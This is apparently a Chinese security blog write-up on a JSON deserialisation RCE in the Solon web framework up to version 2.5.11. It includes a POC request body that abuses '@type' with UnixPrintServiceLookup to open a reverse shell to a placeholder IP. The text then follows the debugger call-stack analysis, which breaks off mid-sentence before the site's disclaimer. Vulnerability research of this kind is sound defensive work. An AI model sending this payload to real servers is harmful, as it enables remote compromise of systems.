国产web框架Solon

2024-09-02 63 0

前言

上次看到星球有提到过solon这个国产的web框架,⾃⼰后⾯⼜看了下,发现在2.5.11及之下的版本对
json的解析都有类似fastjosn的特点,可以达成在linux下&jdk环境中的RCE

环境搭建

直接使⽤官⽅的⽰例 https://solon.noear.org/start/build.do?
artifact=helloworld_jdk8&project=maven&javaVer=1.8
修改pom.xml的solon-parent版本为2.5.11(存在漏洞的版本)国产web框架Solon插图

然后注意必须要在linux&&jdk环境下启动
漏洞触发的条件很简单,只要有接收参数的任意路由即可

POC

直接post发送如下json数据即可RCE

// 反弹shell
{
     "name": {
          "@type": "sun.print.UnixPrintServiceLookup",
          "lpcFirstCom": [
              ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&amp1;",
              ";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&amp1;"
         ]
     }
}

漏洞分析

先看看solon是怎么处理json数据的参数绑定的
直接在hello路由下断点,然后往前跟踪调⽤栈

国产web框架Solon插图1

我们直接发送json格式的数据

国产web框架Solon插图2

从这⾥往上找参数绑定的调⽤栈

可以看到在 org.noear.solon.core.handle.ActionExecuteHandlerDefault#executeHandle 这⾥调⽤
执⾏了    mWrap.invokeByAspect(obj, args.toArray())    从⽽调⽤我们⾃定义的
com.example.demo.DemoController#hello   ⽅法,⽽在上⾯的29⾏执⾏
buildArgs(ctx, obj, mWrap) ,从名⼦就能看出来是⽤于参数绑定

我们跟进这个参数绑定的⽅法

buildArgs中先是会对接收到的数据进⾏ changeBody 处理
当我们传的是json数据时会做⼀个json解析,得到⼀个ONode对象

后续回到 buildArgs 则是对hello路由⽅法的参数取得类型,并根据类型做相应的处理
后续来到 this.changeValue 这⾥

有⼀些判断,检验是否有 hello ⽅法对应的参数

继续跟进来到关键的 toObject ⽅法中
⼀路跟进来到 org.noear.snack.to.ObjectToer#analyse 中,这⾥会对我们的 ONode 对
象做⼀些特殊处理
这⾥有两个点要过,由于我们传⼊的json是 {"name":"pankas"} ,所以这⾥流程会⾛到正常的字
符串处理, clz 的值为 java.lang.String我们发送这样的json看看后续会怎么处理

{"name":{}}

修改后来到 clz = this.getTypeByNode(ctx, o, clz);

跟进,在 org.noear.snack.to.ObjectToer#getTypeByNode ⽅法中可以看到,当类型为
Ob


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

HTB-Infiltrator:一文带你走进域渗透
JAVA安全 | Classloader:理解与利用一篇就够了
多角度揭秘威胁行为组织CryptoCore复杂的加密货币欺诈活动
网络空间的“边水往事”?针对华语黑产及用户进行攻击的 APT-K-UN3 活动分析
伪装“黑神话悟空修改器”传播木马的活动分析
靶场战神为何会陨落?

发布评论